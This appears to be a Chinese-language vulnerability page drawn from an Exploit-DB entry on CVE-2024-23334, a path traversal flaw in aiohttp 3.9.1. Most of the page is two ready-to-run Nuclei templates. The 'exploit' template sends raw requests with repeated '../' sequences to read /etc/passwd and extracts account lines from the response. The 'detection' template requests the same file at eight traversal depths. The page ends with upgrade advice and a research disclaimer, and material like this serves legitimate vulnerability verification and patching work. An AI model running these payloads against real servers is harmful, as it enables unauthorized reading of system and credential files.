[webapps] aiohttp 3.9.1 - directory traversal PoC
CVE-2024-23334
aiohttp 3.9.1 存在路径遍历漏洞,允许攻击者读取任意文件。
High · CVSS 7.5📋 漏洞基础信息
| CVE | CVE-2024-23334 |
|---|---|
| 漏洞类型 | 路径遍历 |
| 受影响版本 | aiohttp 3.9.1 及更早版本 |
| 危害等级 | High · CVSS 7.5 |
| 发布日期 | 2026-02-04 |
| 提交者 | Beatriz Fresno Naumova |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
aiohttp 的静态文件处理功能未正确验证文件路径,导致攻击者可以使用 '../' 绕过限制读取任意文件。
🎯 攻击场景
1. 部署 aiohttp 3.9.1 服务并配置静态文件路由。 2. 攻击者发送包含 '../' 序列的恶意 HTTP 请求。 3. 服务器未对路径进行安全过滤,返回指定目录之外的文件内容。 4. 攻击成功表现为读取到目标文件内容。
💥 漏洞影响
可导致服务器上任意文件读取,如 /etc/passwd 等敏感信息泄露。
⚔️ Nuclei Exploit 模板
以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:
id: CVE-2024-23334-exploit
info:
name: aiohttp 3.9.1 - Directory Traversal Exploit
author: your-username
severity: high
description: Exploits directory traversal vulnerability in aiohttp 3.9.1 to read arbitrary files.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-23334
- https://github.com/aio-libs/aiohttp
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-23334
tags: cve,cve2024,aiohttp,path-traversal,exploit
variables:
depth: "8"
file: "/etc/passwd"
http:
- raw:
- |+
GET /static/{{repeat("../", depth)}}{{file}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'root:'
- 'daemon:'
- 'bin:'
condition: or
- type: status
status:
- 200
extractors:
- type: regex
part: body
regex:
- 'root:[^:]+:[0-9]+:[0-9]+:.*'
- 'daemon:[^:]+:[0-9]+:[0-9]+:.*'
- 'bin:[^:]+:[0-9]+:[0-9]+:.*'🔍 Nuclei Detection 模板
以下为漏洞探测模板,用于判断目标是否受影响:
id: CVE-2024-23334-detection
info:
name: aiohttp 3.9.1 - Directory Traversal Detection
author: your-username
severity: high
description: Detects if the target is running aiohttp <= 3.9.1 which is vulnerable to directory traversal.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-23334
- https://github.com/aio-libs/aiohttp
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-23334
tags: cve,cve2024,aiohttp,path-traversal,detection
http:
- method: GET
path:
- '{{BaseURL}}/static/../etc/passwd'
- '{{BaseURL}}/static/../../etc/passwd'
- '{{BaseURL}}/static/../../../etc/passwd'
- '{{BaseURL}}/static/../../../../etc/passwd'
- '{{BaseURL}}/static/../../../../../etc/passwd'
- '{{BaseURL}}/static/../../../../../../etc/passwd'
- '{{BaseURL}}/static/../../../../../../../etc/passwd'
- '{{BaseURL}}/static/../../../../../../../../etc/passwd'
headers:
User-Agent: Mozilla/5.0
Accept: '*/*'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'root:'
- 'daemon:'
- 'bin:'
condition: or
- type: status
status:
- 200
extractors:
- type: regex
part: body
regex:
- 'root:[^:]+:[0-9]+:[0-9]+:'🛡️ 修复建议
升级至 aiohttp 3.9.2 或更高版本。临时缓解措施:在静态文件路由中添加自定义路径安全检查。
📎 参考链接
- https://nvd.nist.gov/vuln/detail/CVE-2024-23334
- https://github.com/aio-libs/aiohttp/security/advisories/GHSA-8qpw-xqxj-h4vw
- Exploit-DB 原文
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 06:23 | 来源: Exploit-DB